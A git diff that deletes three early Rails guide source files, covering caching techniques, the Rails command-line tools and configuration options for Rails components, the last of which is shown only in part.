diff --git a/railties/doc/guides/source/caching_with_rails.txt b/railties/doc/guides/source/caching_with_rails.txt
deleted file mode 100644
index 6da67ed481..0000000000
--- a/railties/doc/guides/source/caching_with_rails.txt
+++ /dev/null
@@ -1,446 +0,0 @@
-Caching with Rails: An overview
-===============================
-
-Everyone caches. This guide will teach you what you need to know about
-avoiding that expensive round-trip to your database and returning what you
-need to return to those hungry web clients in the shortest time possible.
-
-== Basic Caching
-
-This is an introduction to the three types of caching techniques that Rails
-provides by default without the use of any third party plugins.
-
-To get started make sure `config.action_controller.perform_caching` is set
-to `true` for your environment. This flag is normally set in the
-corresponding config/environments/*.rb and caching is disabled by default
-there for development and test, and enabled for production.
-
-[source, ruby]
------------------------------------------------------
-config.action_controller.perform_caching = true
------------------------------------------------------
-
-=== Page Caching
-
-Page caching is a Rails mechanism which allows the request for a generated
-page to be fulfilled by the webserver, without ever having to go through the
-Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be
-applied to every situation (such as pages that need authentication) and since
-the webserver is literally just serving a file from the filesystem, cache
-expiration is an issue that needs to be dealt with.
-
-So, how do you enable this super-fast cache behavior? Simple, let's say you
-have a controller called ProductsController and a 'list' action that lists all
-the products
-
-[source, ruby]
------------------------------------------------------
-class ProductsController < ActionController
-
- caches_page :index
-
- def index; end
-
-end
------------------------------------------------------
-
-The first time anyone requests products/index, Rails will generate a file
-called `index.html` and the webserver will then look for that file before it
-passes the next request for products/index to your Rails application.
-
-By default, the page cache directory is set to Rails.public_path (which is
-usually set to `RAILS_ROOT + "/public"`) and this can be configured by
-changing the configuration setting `config.action_controller.page_cache_directory`.
-Changing the default from /public helps avoid naming conflicts, since you may
-want to put other static html in /public, but changing this will require web
-server reconfiguration to let the web server know where to serve the cached
-files from.
-
-The Page Caching mechanism will automatically add a `.html` exxtension to
-requests for pages that do not have an extension to make it easy for the
-webserver to find those pages and this can be configured by changing the
-configuration setting `config.action_controller.page_cache_extension`.
-
-In order to expire this page when a new product is added we could extend our
-example controler like this:
-
-[source, ruby]
------------------------------------------------------
-class ProductsController < ActionController
-
- caches_page :list
-
- def list; end
-
- def create
- expire_page :action => :list
- end
-
-end
------------------------------------------------------
-
-If you want a more complicated expiration scheme, you can use cache sweepers
-to expire cached objects when things change. This is covered in the section on Sweepers.
-
-[More: caching paginated results? more examples? Walk-through of page caching?]
-
-=== Action Caching
-
-One of the issues with Page Caching is that you cannot use it for pages that
-require to restrict access somehow. This is where Action Caching comes in.
-Action Caching works like Page Caching except for the fact that the incoming
-web request does go from the webserver to the Rails stack and Action Pack so
-that before filters can be run on it before the cache is served, so that
-authentication and other restrictions can be used while still serving the
-result of the output from a cached copy.
-
-Clearing the cache works in the exact same way as with Page Caching.
-
-Let's say you only wanted authenticated users to edit or create a Product
-object, but still cache those pages:
-
-[source, ruby]
------------------------------------------------------
-class ProductsController < ActionController
-
- before_filter :authenticate, :only => [ :edit, :create ]
- caches_page :list
- caches_action :edit
-
- def list; end
-
- def create
- expire_page :action => :list
- expire_action :action => :edit
- end
-
- def edit; end
-
-end
------------------------------------------------------
-
-And you can also use `:if` (or `:unless`) to pass a Proc that specifies when the
-action should be cached. Also, you can use `:layout => false` to cache without
-layout so that dynamic information in the layout such as logged in user info
-or the number of items in the cart can be left uncached. This feature is
-available as of Rails 2.2.
-
-
-[More: more examples? Walk-through of Action Caching from request to response?
- Description of Rake tasks to clear cached files? Show example of
- subdomain caching? Talk about :cache_path, :if and assing blocks/Procs
- to expire_action?]
-
-=== Fragment Caching
-
-Life would be perfect if we could get away with caching the entire contents of
-a page or action and serving it out to the world. Unfortunately, dynamic web
-applications usually build pages with a variety of components not all of which
-have the same caching characteristics. In order to address such a dynamically
-created page where different parts of the page need to be cached and expired
-differently Rails provides a mechanism called Fragment Caching.
-
-Fragment Caching allows a fragment of view logic to be wrapped in a cache
-block and served out of the cache store when the next request comes in.
-
-As an example, if you wanted to show all the orders placed on your website
-in real time and didn't want to cache that part of the page, but did want
-to cache the part of the page which lists all products available, you
-could use this piece of code:
-
-[source, ruby]
------------------------------------------------------
-<% Order.find_recent.each do |o| %>
- <%= o.buyer.name %> bought <% o.product.name %>
-<% end %>
-
-<% cache do %>
- All available products:
- <% Product.find(:all).each do |p| %>
- <%= link_to p.name, product_url(p) %>
- <% end %>
-<% end %>
------------------------------------------------------
-
-The cache block in our example will bind to the action that called it and is
-written out to the same place as the Action Cache, which means that if you
-want to cache multiple fragments per action, you should provide an `action_suffix` to the cache call:
-
-[source, ruby]
------------------------------------------------------
-<% cache(:action => 'recent', :action_suffix => 'all_products') do %>
- All available products:
------------------------------------------------------
-
-and you can expire it using the `expire_fragment` method, like so:
-
-[source, ruby]
------------------------------------------------------
-expire_fragment(:controller => 'products', :action => 'recent', :action_suffix => 'all_products)
------------------------------------------------------
-
-If you don't want the cache block to bind to the action that called it, You can
-also use globally keyed fragments by calling the cache method with a key, like
-so:
-
-[source, ruby]
------------------------------------------------------
-<% cache(:key => ['all_available_products', @latest_product.created_at].join(':')) do %>
- All available products:
------------------------------------------------------
-
-This fragment is then available to all actions in the ProductsController using
-the key and can be expired the same way:
-
-[source, ruby]
------------------------------------------------------
-expire_fragment(:key => ['all_available_products', @latest_product.created_at].join(':'))
------------------------------------------------------
-
-[More: more examples? description of fragment keys and expiration, etc? pagination?]
-
-=== Sweepers
-
-Cache sweeping is a mechanism which allows you to get around having a ton of
-expire_{page,action,fragment} calls in your code by moving all the work
-required to expire cached content into a `ActionController::Caching::Sweeper`
-class that is an Observer and looks for changes to an object via callbacks,
-and when a change occurs it expires the caches associated with that object n
-an around or after filter.
-
-Continuing with our Product controller example, we could rewrite it with a
-sweeper such as the following:
-
-[source, ruby]
------------------------------------------------------
-class StoreSweeper < ActionController::Caching::Sweeper
- observe Product # This sweeper is going to keep an eye on the Product model
-
- # If our sweeper detects that a Product was created call this
- def after_create(product)
- expire_cache_for(product)
- end
-
- # If our sweeper detects that a Product was updated call this
- def after_update(product)
- expire_cache_for(product)
- end
-
- # If our sweeper detects that a Product was deleted call this
- def after_destroy(product)
- expire_cache_for(product)
- end
-
- private
- def expire_cache_for(record)
- # Expire the list page now that we added a new product
- expire_page(:controller => '#{record}', :action => 'list')
-
- # Expire a fragment
- expire_fragment(:controller => '#{record}', :action => 'recent', :action_suffix => 'all_products')
- end
-end
------------------------------------------------------
-
-Then we add it to our controller to tell it to call the sweeper when certain
-actions are called. So, if we wanted to expire the cached content for the
-list and edit actions when the create action was called, we could do the
-following:
-
-[source, ruby]
------------------------------------------------------
-class ProductsController < ActionController
-
- before_filter :authenticate, :only => [ :edit, :create ]
- caches_page :list
- caches_action :edit
- cache_sweeper :store_sweeper, :only => [ :create ]
-
- def list; end
-
- def create
- expire_page :action => :list
- expire_action :action => :edit
- end
-
- def edit; end
-
-end
------------------------------------------------------
-
-[More: more examples? better sweepers?]
-
-=== SQL Caching
-
-Query caching is a Rails feature that caches the result set returned by each
-query so that if Rails encounters the same query again for that request, it
-will used the cached result set as opposed to running the query against the
-database again.
-
-For example:
-
-[source, ruby]
------------------------------------------------------
-class ProductsController < ActionController
-
- before_filter :authenticate, :only => [ :edit, :create ]
- caches_page :list
- caches_action :edit
- cache_sweeper :store_sweeper, :only => [ :create ]
-
- def list
- # Run a find query
- Product.find(:all)
-
- ...
-
- # Run the same query again
- Product.find(:all)
- end
-
- def create
- expire_page :action => :list
- expire_action :action => :edit
- end
-
- def edit; end
-
-end
------------------------------------------------------
-
-In the 'list' action above, the result set returned by the first
-Product.find(:all) will be cached and will be used to avoid querying the
-database again the second time that finder is called.
-
-Query caches are created at the start of an action and destroyed at the end of
-that action and thus persist only for the duration of the action.
-
-=== Cache stores
-
-Rails provides different stores for the cached data for action and fragment
-caches. Page caches are always stored on disk.
-
-The cache stores provided include:
-
-1) Memory store: Cached data is stored in the memory allocated to the Rails
- process, which is fine for WEBrick and for FCGI (if you
- don't care that each FCGI process holds its own fragment
- store). It's not suitable for CGI as the process is thrown
- away at the end of each request. It can potentially also
- take up a lot of memory since each process keeps all the
- caches in memory.
-
-[source, ruby]
------------------------------------------------------
-ActionController::Base.cache_store = :memory_store
------------------------------------------------------
-
-2) File store: Cached data is stored on the disk, this is the default store
- and the default path for this store is: /tmp/cache. Works
- well for all types of environments and allows all processes
- running from the same application directory to access the
- cached content.
-
-
-[source, ruby]
------------------------------------------------------
-ActionController::Base.cache_store = :file_store, "/path/to/cache/directory"
------------------------------------------------------
-
-3) DRb store: Cached data is stored in a separate shared DRb process that all
- servers communicate with. This works for all environments and
- only keeps one cache around for all processes, but requires
- that you run and manage a separate DRb process.
-
-[source, ruby]
------------------------------------------------------
-ActionController::Base.cache_store = :drb_store, "druby://localhost:9192"
------------------------------------------------------
-
-4) MemCached store: Works like DRbStore, but uses Danga's MemCache instead.
- Rails uses the bundled memcached-client gem by default.
-
-[source, ruby]
------------------------------------------------------
-ActionController::Base.cache_store = :mem_cache_store, "localhost"
------------------------------------------------------
-
-5) Custom store: You can define your own cache store (new in Rails 2.1)
-
-[source, ruby]
------------------------------------------------------
-ActionController::Base.cache_store = MyOwnStore.new("parameter")
------------------------------------------------------
-
-+Note: config.cache_store can be used in place of
-ActionController::Base.cache_store in your Rails::Initializer.run block in
-environment.rb+
-
-== Conditional GET support
-
-Conditional GETs are a facility of the HTTP spec that provide a way for web
-servers to tell browsers that the response to a GET request hasn’t changed
-since the last request and can be safely pulled from the browser cache.
-
-They work by using the HTTP_IF_NONE_MATCH and HTTP_IF_MODIFIED_SINCE headers to
-pass back and forth both a unique content identifier and the timestamp of when
-the content was last changed. If the browser makes a request where the content
-identifier (etag) or last modified since timestamp matches the server’s version
-then the server only needs to send back an empty response with a not modified
-status.
-
-It is the server’s (i.e. our) responsibility to look for a last modified
-timestamp and the if-none-match header and determine whether or not to send
-back the full response. With conditional-get support in rails this is a pretty
-easy task:
-
-[source, ruby]
------------------------------------------------------
-class ProductsController < ApplicationController
-
- def show
- @product = Product.find(params[:id])
-
- # If the request is stale according to the given timestamp and etag value
- # (i.e. it needs to be processed again) then execute this block
- if stale?(:last_modified => @product.updated_at.utc, :etag => @product)
- respond_to do |wants|
- # ... normal response processing
- end
- end
-
- # If the request is fresh (i.e. it's not modified) then you don't need to do
- # anything. The default render checks for this using the parameters
- # used in the previous call to stale? and will automatically send a
- # :not_modified. So that's it, you're done.
-end
------------------------------------------------------
-
-If you don’t have any special response processing and are using the default
-rendering mechanism (i.e. you’re not using respond_to or calling render
-yourself) then you’ve got an easy helper in fresh_when:
-
-[source, ruby]
------------------------------------------------------
-class ProductsController < ApplicationController
-
- # This will automatically send back a :not_modified if the request is fresh,
- # and will render the default template (product.*) if it's stale.
-
- def show
- @product = Product.find(params[:id])
- fresh_when :last_modified => @product.published_at.utc, :etag => @article
- end
-end
------------------------------------------------------
-
-== Advanced Caching
-
-Along with the built-in mechanisms outlined above, a number of excellent
-plugins exist to help with finer grained control over caching. These include
-Chris Wanstrath's excellent cache_fu plugin (more info here:
-http://errtheblog.com/posts/57-kickin-ass-w-cachefu) and Evan Weaver's
-interlock plugin (more info here:
-http://blog.evanweaver.com/articles/2007/12/13/better-rails-caching/). Both
-of these plugins play nice with memcached and are a must-see for anyone
-seriously considering optimizing their caching needs.
diff --git a/railties/doc/guides/source/command_line.txt b/railties/doc/guides/source/command_line.txt
deleted file mode 100644
index 8a887bd001..0000000000
--- a/railties/doc/guides/source/command_line.txt
+++ /dev/null
@@ -1,340 +0,0 @@
-A Guide to The Rails Command Line
-=================================
-
-Rails comes with every command line tool you'll need to
-
-* Create a Rails application
-* Generate models, controllers, database migrations, and unit tests
-* Start a development server
-* Mess with objects through an interactive shell
-* Profile and benchmark your new creation
-
-... and much, much more! (Buy now!)
-
-This tutorial assumes you have basic Rails knowledge from reading the Getting Started with Rails Guide.
-
-== Command Line Basics ==
-
-There are a few commands that are absolutely critical to your everyday usage of Rails. In the order of how much you'll probably use them are:
-
-* console
-* server
-* rake
-* generate
-* rails
-
-Let's create a simple Rails application to step through each of these commands in context.
-
-=== rails ===
-
-The first thing we'll want to do is create a new Rails application by running the `rails` command after installing Rails.
-
-NOTE: You know you need the rails gem installed by typing `gem install rails` first, right? Okay, okay, just making sure.
-
-[source,shell]
-------------------------------------------------------
-$ rails commandsapp
-
- create
- create app/controllers
- create app/helpers
- create app/models
- ...
- ...
- create log/production.log
- create log/development.log
- create log/test.log
-------------------------------------------------------
-
-Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You've got the entire Rails directory structure now with all the code you need to run our simple application right out of the box.
-
-NOTE: This output will seem very familiar when we get to the `generate` command. Creepy foreshadowing!
-
-=== server ===
-
-Let's try it! The `server` command launches a small web server named WEBrick which comes bundled with Ruby. You'll use this any time you want to view your work through a web browser.
-
-NOTE: WEBrick isn't your only option for serving Rails. We'll get to that in a later section. [XXX: which section]
-
-Here we'll flex our `server` command, which without any prodding of any kind will run our new shiny Rails app:
-
-[source,shell]
-------------------------------------------------------
-$ cd commandsapp
-$ ./script/server
-=> Booting WEBrick...
-=> Rails 2.2.0 application started on http://0.0.0.0:3000
-=> Ctrl-C to shutdown server; call with --help for options
-[2008-11-04 10:11:38] INFO WEBrick 1.3.1
-[2008-11-04 10:11:38] INFO ruby 1.8.5 (2006-12-04) [i486-linux]
-[2008-11-04 10:11:38] INFO WEBrick::HTTPServer#start: pid=18994 port=3000
-------------------------------------------------------
-
-WHOA. With just three commands we whipped up a Rails server listening on port 3000. Go! Go right now to your browser and go to http://localhost:3000. I'll wait.
-
-See? Cool! It doesn't do much yet, but we'll change that.
-
-=== generate ===
-
-The `generate` command uses templates to create a whole lot of things. You can always find out what's available by running `generate` by itself. Let's do that:
-
-[source,shell]
-------------------------------------------------------
-$ ./script/generate
-Usage: ./script/generate generator [options] [args]
-
-...
-...
-
-Installed Generators
- Builtin: controller, integration_test, mailer, migration, model, observer, performance_test, plugin, resource, scaffold, session_migration
-
-...
-...
-------------------------------------------------------
-
-NOTE: You can install more generators through generator gems, portions of plugins you'll undoubtedly install, and you can even create your own!
-
-Using generators will save you a large amount of time by writing *boilerplate code* for you -- necessary for the darn thing to work, but not necessary for you to spend time writing. That's what we have computers for, right?
-
-Let's make our own controller with the controller generator. But what command should we use? Let's ask the generator:
-
-NOTE: All Rails console utilities have help text. As with most *NIX utilities, you can try adding `--help` or `-h` to the end, for example `./script/server --help`.
-
-[source,shell]
-------------------------------------------------------
-$ ./script/generate controller
-Usage: ./script/generate controller ControllerName [options]
-
-...
-...
-
-Example:
- `./script/generate controller CreditCard open debit credit close`
-
- Credit card controller with URLs like /credit_card/debit.
- Controller: app/controllers/credit_card_controller.rb
- Views: app/views/credit_card/debit.html.erb [...]
- Helper: app/helpers/credit_card_helper.rb
- Test: test/functional/credit_card_controller_test.rb
-
-Modules Example:
- `./script/generate controller 'admin/credit_card' suspend late_fee`
-
- Credit card admin controller with URLs /admin/credit_card/suspend.
- Controller: app/controllers/admin/credit_card_controller.rb
- Views: app/views/admin/credit_card/debit.html.erb [...]
- Helper: app/helpers/admin/credit_card_helper.rb
- Test: test/functional/admin/credit_card_controller_test.rb
-------------------------------------------------------
-
-Ah, the controller generator is expecting parameters in the form of `generate controller ControllerName action1 action2`. Let's make a `Greetings` controller with an action of *hello*, which will say something nice to us.
-
-[source,shell]
-------------------------------------------------------
-$ ./script/generate controller Greeting hello
- exists app/controllers/
- exists app/helpers/
- create app/views/greeting
- exists test/functional/
- create app/controllers/greetings_controller.rb
- create test/functional/greetings_controller_test.rb
- create app/helpers/greetings_helper.rb
- create app/views/greetings/hello.html.erb
-------------------------------------------------------
-
-Look there! Now what all did this generate? It looks like it made sure a bunch of directories were in our application, and created a controller file, a functional test file, a helper for the view, and a view file.
-
-Let's check out the controller and modify it a little (in `app/controllers/greeting_controller.rb`):
-
-[source,ruby]
-------------------------------------------------------
-class GreetingController < ApplicationController
- def hello
- @message = "Hello, how are you today? I am exuberant!"
- end
-
-end
-------------------------------------------------------
-
-Then the view, to display our nice message (in `app/views/greeting/hello.html.erb`):
-
-[source,html]
-------------------------------------------------------
-<h1>A Greeting for You!</h1>
-<p><%= @message %></p>
-------------------------------------------------------
-
-Deal. Go check it out in your browser. Fire up your server. Remember? `./script/server` at the root of your Rails application should do it.
-
-[source,shell]
-------------------------------------------------------
-$ ./script/server
-=> Booting WEBrick...
-------------------------------------------------------
-
-The URL will be `http://localhost:3000/greetings/hello`. I'll wait for you to be suitably impressed.
-
-NOTE: With a normal, plain-old Rails application, your URLs will generally follow the pattern of http://(host)/(controller)/(action), and a URL like http://(host)/(controller) will hit the *index* action of that controller.
-
-"What about data, though?", you ask over a cup of coffee. Rails comes with a generator for data models too. Can you guess its generator name?
-
-[source,shell]
-------------------------------------------------------
-$ ./script/generate model
-Usage: ./script/generate model ModelName [field:type, field:type]
-
-...
-
-Examples:
- `./script/generate model account`
-
- creates an Account model, test, fixture, and migration:
- Model: app/models/account.rb
- Test: test/unit/account_test.rb
- Fixtures: test/fixtures/accounts.yml
- Migration: db/migrate/XXX_add_accounts.rb
-
- `./script/generate model post title:string body:text published:boolean`
-
- creates a Post model with a string title, text body, and published flag.
-------------------------------------------------------
-
-But instead of generating a model directly (which we'll be doing later), let's set up a scaffold. A *scaffold* in Rails is a full set of model, database migration for that model, controller to manipulate it, views to view and manipulate the data, and a test suite for each of the above.
-
-Let's set up a simple resource called "HighScore" that will keep track of our highest score on video games we play.
-
-[source,shell]
-------------------------------------------------------
-$ ./script/generate scaffold HighScore game:string score:integer
- exists app/models/
- exists app/controllers/
- exists app/helpers/
- create app/views/high_scores
- create app/views/layouts/
- exists test/functional/
- create test/unit/
- create public/stylesheets/
- create app/views/high_scores/index.html.erb
- create app/views/high_scores/show.html.erb
- create app/views/high_scores/new.html.erb
- create app/views/high_scores/edit.html.erb
- create app/views/layouts/high_scores.html.erb
- create public/stylesheets/scaffold.css
- create app/controllers/high_scores_controller.rb
- create test/functional/high_scores_controller_test.rb
- create app/helpers/high_scores_helper.rb
- route map.resources :high_scores
-dependency model
- exists app/models/
- exists test/unit/
- create test/fixtures/
- create app/models/high_score.rb
- create test/unit/high_score_test.rb
- create test/fixtures/high_scores.yml
- exists db/migrate
- create db/migrate/20081217071914_create_high_scores.rb
-------------------------------------------------------
-
-Taking it from the top - the generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the `high_scores` table and fields), takes care of the route for the *resource*, and new tests for everything.
-
-The migration requires that we *migrate*, that is, run some Ruby code (living in that `20081217071914_create_high_scores.rb`) to modify the schema of our database. Which database? The sqlite3 database that Rails will create for you when we run the `rake db:migrate` command. We'll talk more about Rake in-depth in a little while.
-
-NOTE: Hey. Install the sqlite3-ruby gem while you're at it. `gem install sqlite3-ruby`
-
-[source,shell]
-------------------------------------------------------
-$ rake db:migrate
-(in /home/commandsapp)
-== CreateHighScores: migrating ===============================================
--- create_table(:high_scores)
- -> 0.0070s
-== CreateHighScores: migrated (0.0077s) ======================================
-------------------------------------------------------
-
-NOTE: Let's talk about unit tests. Unit tests are code that tests and makes assertions about code. In unit testing, we take a little part of code, say a method of a model, and test its inputs and outputs. Unit tests are your friend. The sooner you make peace with the fact that your quality of life will drastically increase when you unit test your code, the better. Seriously. We'll make one in a moment.
-
-Let's see the interface Rails created for us. ./script/server; http://localhost:3000/high_scores
-
-We can create new high scores (55,160 on Space Invaders!)
-
-=== console ===
-The `console` command lets you interact with your Rails application from the command line. On the underside, `script/console` uses IRB, so if you've ever used it, you'll be right at home. This is useful for testing out quick ideas with code and changing data server-side without touching the website.
-
-=== dbconsole ===
-`dbconsole` figures out which database you're using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL, PostgreSQL, SQLite and SQLite3.
-
-=== plugin ===
-The `plugin` command simplifies plugin management; think a miniature version of the Gem utility. Let's walk through installing a plugin. You can call the sub-command *discover*, which sifts through repositories looking for plugins, or call *source* to add a specific repository of plugins, or you can specify the plugin location directly.
-
-Let's say you're creating a website for a client who wants a small accounting system. Every event having to do with money must be logged, and must never be deleted. Wouldn't it be great if we could override the behavior of a model to never actually take its record out of the database, but *instead*, just set a field?
-
-There is such a thing! The plugin we're installing is called "acts_as_paranoid", and it lets models implement a "deleted_at" column that gets set when you call destroy. Later, when calling find, the plugin will tack on a database check to filter out "deleted" things.
-
-[source,shell]
-------------------------------------------------------
-$ ./script/plugin install http://svn.techno-weenie.net/projects/plugins/acts_as_paranoid
-+ ./CHANGELOG
-+ ./MIT-LICENSE
-...
-...
-------------------------------------------------------
-
-=== runner ===
-`runner` runs Ruby code in the context of Rails non-interactively. For instance:
-
-[source,shell]
-------------------------------------------------------
-$ ./script/runner "Model.long_running_method"
-------------------------------------------------------
-
-=== destroy ===
-Think of `destroy` as the opposite of `generate`. It'll figure out what generate did, and undo it. Believe you-me, the creation of this tutorial used this command many times!
-
-[source,shell]
-------------------------------------------------------
-$ ./script/generate model Oops
- exists app/models/
- exists test/unit/
- exists test/fixtures/
- create app/models/oops.rb
- create test/unit/oops_test.rb
- create test/fixtures/oops.yml
- exists db/migrate
- create db/migrate/20081221040817_create_oops.rb
-$ ./script/destroy model Oops
- notempty db/migrate
- notempty db
- rm db/migrate/20081221040817_create_oops.rb
- rm test/fixtures/oops.yml
- rm test/unit/oops_test.rb
- rm app/models/oops.rb
- notempty test/fixtures
- notempty test
- notempty test/unit
- notempty test
- notempty app/models
- notempty app
-------------------------------------------------------
-
-=== about ===
-Check it: Version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version! `about` is useful when you need to ask help, check if a security patch might affect you, or when you need some stats for an existing Rails installation.
-
-[source,shell]
-------------------------------------------------------
-$ ./script/about
-About your application's environment
-Ruby version 1.8.6 (i486-linux)
-RubyGems version 1.3.1
-Rails version 2.2.0
-Active Record version 2.2.0
-Action Pack version 2.2.0
-Active Resource version 2.2.0
-Action Mailer version 2.2.0
-Active Support version 2.2.0
-Edge Rails revision unknown
-Application root /home/commandsapp
-Environment development
-Database adapter sqlite3
-Database schema version 20081217073400
------------------------------------------------------- \ No newline at end of file
diff --git a/railties/doc/guides/source/configuring.txt b/railties/doc/guides/source/configuring.txt
deleted file mode 100644
index 489e205eb1..0000000000
--- a/railties/doc/guides/source/configuring.txt
+++ /dev/null
@@ -1,239 +0,0 @@
-Configuring Rails Applications
-==============================
-
-This guide covers the configuration and initialization features available to Rails applications. By referring to this guide, you will be able to:
-
-* Adjust the behavior of your Rails applications
-* Add additional code to be run at application start time
-
-NOTE: The first edition of this Guide was written from the Rails 2.3 source code. While the information it contains is broadly applicable to Rails 2.2, backwards compatibility is not guaranteed.
-
-== Locations for Initialization Code
-
-Rails offers (at least) five good spots to place initialization code:
-
-* Preinitializers
-* environment.rb
-* Environment-specific Configuration Files
-* Initializers (load_application_initializers)
-* After-Initializers
-
-== Using a Preinitializer
-
-Rails allows you to use a preinitializer to run code before the framework itself is loaded. If you save code in +RAILS_ROOT/config/preinitializer.rb+, that code will be the first thing loaded, before any of the framework components (Active Record, Action Pack, and so on.) If you want to change the behavior of one of the classes that is used in the initialization process, you can do so in this file.
-
-== Configuring Rails Components
-
-In general, the work of configuring Rails means configuring the components of Rails, as well as configuring Rails itself. The +environment.rb+ and environment-specific configuration files (such as +config/environments/production.rb+) allow you to specify the various settings that you want to pass down to all of the components. For example, the default Rails 2.3 +environment.rb+ file includes one setting:
-
-[source, ruby]
--------------------------------------------------------
-config.time_zone = 'UTC'
--------------------------------------------------------
-
-This is a setting for Rails itself. If you want to pass settings to individual Rails components, you can do so via the same +config+ object:
-
-[source, ruby]
--------------------------------------------------------
-config.active_record.colorize_logging = false
--------------------------------------------------------
-
-Rails will use that particular setting to configure Active Record.
-
-=== Configuring Active Record
-
-+ActiveRecord::Base+ includes a variety of configuration options:
-
-+logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling +logger+ on either an ActiveRecord model class or an ActiveRecord model instance. Set to nil to disable logging.
-
-+primary_key_prefix_type+ lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named +id+ (and this configuration option doesn't need to be set.) There are two other choices:
-
-* +:table_name+ would make the primary key for the Customer class +customerid+
-* +:table_name_with_underscore+ would make the primary key for the Customer class +customer_id+
-
-+table_name_prefix+ lets you set a global string to be prepended to table names. If you set this to +northwest_+, then the Customer class will look for +northwest_customers+ as its table. The default is an empty string.
-
-+table_name_suffix+ lets you set a global string to be appended to table names. If you set this to +_northwest+, then the Customer class will look for +customers_northwest+ as its table. The default is an empty string.
-
-+pluralize_table_names+ specifies whether Rails will look for singular or plural table names in the database. If set to +true+ (the default), then the Customer class will use the +customers+ table. If set to +false+, then the Customers class will use the +customer+ table.
-
-+colorize_logging+ (true by default) specifies whether or not to use ANSI color codes when logging information from ActiveRecord.
-
-+default_timezone+ determines whether to use +Time.local+ (if set to +:local+) or +Time.utc+ (if set to +:utc+) when pulling dates and times from the database. The default is +:local+.
-
-+schema_format+ controls the format for dumping the database schema to a file. The options are +:ruby+ (the default) for a database-independent version that depends on migrations, or +:sql+ for a set of (potentially database-dependent) SQL statements.
-
-+timestamped_migrations+ controls whether migrations are numbered with serial integers or with timestamps. The default is +true+, to use timestamps, which are preferred if there are multiple developers working on the same application.
-
-+lock_optimistically+ controls whether ActiveRecord will use optimistic locking. By default this is +true+.
-
-The MySQL adapter adds one additional configuration option:
-
-+ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans+ controls whether ActiveRecord will consider all +tinyint(1)+ columns in a MySQL database to be booleans. By default this is +true+.
-
-The schema dumper adds one additional configuration option:
-
-+ActiveRecord::SchemaDumper.ignore_tables+ accepts an array of tables that should _not_ be included in any generated schema file. This setting is ignored unless +ActiveRecord::Base.schema_format == :ruby+.
-
-=== Configuring Action Controller
-
-ActionController::Base includes a number of configuration settings:
-
-+asset_host+ provides a string that is prepended to all of the URL-generating helpers in +AssetHelper+. This is designed to allow moving all javascript, CSS, and image files to a separate asset host.
-
-+consider_all_requests_local+ is generally set to +true+ during development and +false+ during production; if it is set to +true+, then any error will cause detailed debugging information to be dumped in the HTTP response. For finer-grained control, set this to +false+ and implement +local_request?+ to specify which requests should provide debugging information on errors.
-
-+allow_concurrency+ should be set to +true+ to allow concurrent (threadsafe) action processing. Set to +false+ by default.
-
-+param_parsers+ provides an array of handlers that can extract information from incoming HTTP requests and add it to the +params+ hash. By default, parsers for multipart forms, URL-encoded forms, XML, and JSON are active.
-
-+default_charset+ specifies the default character set for all renders. The default is "utf-8".
-
-+logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Controller. Set to nil to disable logging.
-
-+resource_action_separator+ gives the token to be used between resources and actions when building or interpreting RESTful URLs. By default, this is "/".
-
-+resource_path_names+ is a hash of default names for several RESTful actions. By default, the new action is named +new+ and the edit action is named +edit+.
-
-+request_forgery_protection_token+ sets the token parameter name for RequestForgery. Calling +protect_from_forgery+ sets it to +:authenticity_token+ by default.
-
-+optimise_named_routes+ turns on some optimizations in generating the routing table. It is set to +true+ by default.
-
-+use_accept_header+ sets the rules for determining the response format. If this is set to +true+ (the default) then +respond_to+ and +Request#format+ will take the Accept header into account. If it is set to false then the request format will be determined solely by examining +params[:format]+. If there is no +format+ parameter, then the response format will be either HTML or Javascript depending on whether the request is an AJAX request.
-
-+allow_forgery_protection+ enables or disables CSRF protection. By default this is +false+ in test mode and +true+ in all other modes.
-
-+relative_url_root+ can be used to tell Rails that you are deploying to a subdirectory. The default is +ENV['RAILS_RELATIVE_URL_ROOT']+.
-
-The caching code adds two additional settings:
-
-+ActionController::Caching::Pages.page_cache_directory+ sets the directory where Rails will create cached pages for your web server. The default is +Rails.public_path+ (which is usually set to +RAILS_ROOT + "/public"+).
-
-+ActionController::Caching::Pages.page_cache_extension+ sets the extension to be used when generating pages for the cache (this is ignored if the incoming request already has an extension). The default is +.html+.
-
-The dispatcher includes one setting:
-
-+ActionController::Dispatcher.error_file_path+ gives the path where Rails will look for error files such as +404.html+. The default is +Rails.public_path+.
-
-The Active Record session store can also be configured:
-
-+CGI::Session::ActiveRecordStore::Session.data_column_name+ sets the name of the column to use to store session data. By default it is 'data'
-
-=== Configuring Action View
-
-There are only a few configuration options for Action View, starting with four on +ActionView::Base+:
-
-+debug_rjs+ specifies whether RJS responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it). The default is +false+.
-
-+warn_cache_misses+ tells Rails to display a warning whenever an action results in a cache miss on your view paths. The default is +false+.
-
-+field_error_proc+ provides an HTML generator for displaying errors that come from Active Record. The default is +Proc.new{ |html_tag, instance| "<div class=\"fieldWithErrors\">#{html_tag}</div>" }+
-
-+default_form_builder+ tells Rails which form builder to use by default. The default is +ActionView::Helpers::FormBuilder+.
-
-The ERB template handler supplies one additional option:
-
-+ActionView::TemplateHandlers::ERB.erb_trim_mode+ gives the trim mode to be used by ERB. It defaults to +'-'+. See the link:http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/[ERB documentation] for more information.
-
-=== Configuring Action Mailer
-
-There are a number of settings available on +ActionMailer::Base+:
-
-+template_root+ gives the root folder for Action Mailer templates.
-
-+logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Mailer. Set to nil to disable logging.
-
-+smtp_settings+ allows detailed configuration for the +:smtp+ delivery method. It accepts a hash of options, which can include any of these options:
-
-* +:address+ - Allows you to use a remote mail server. Just change it from its default "localhost" setting.
-* +:port+ - On the off chance that your mail server doesn't run on port 25, you can change it.
-* +:domain+ - If you need to specify a HELO domain, you can do it here.
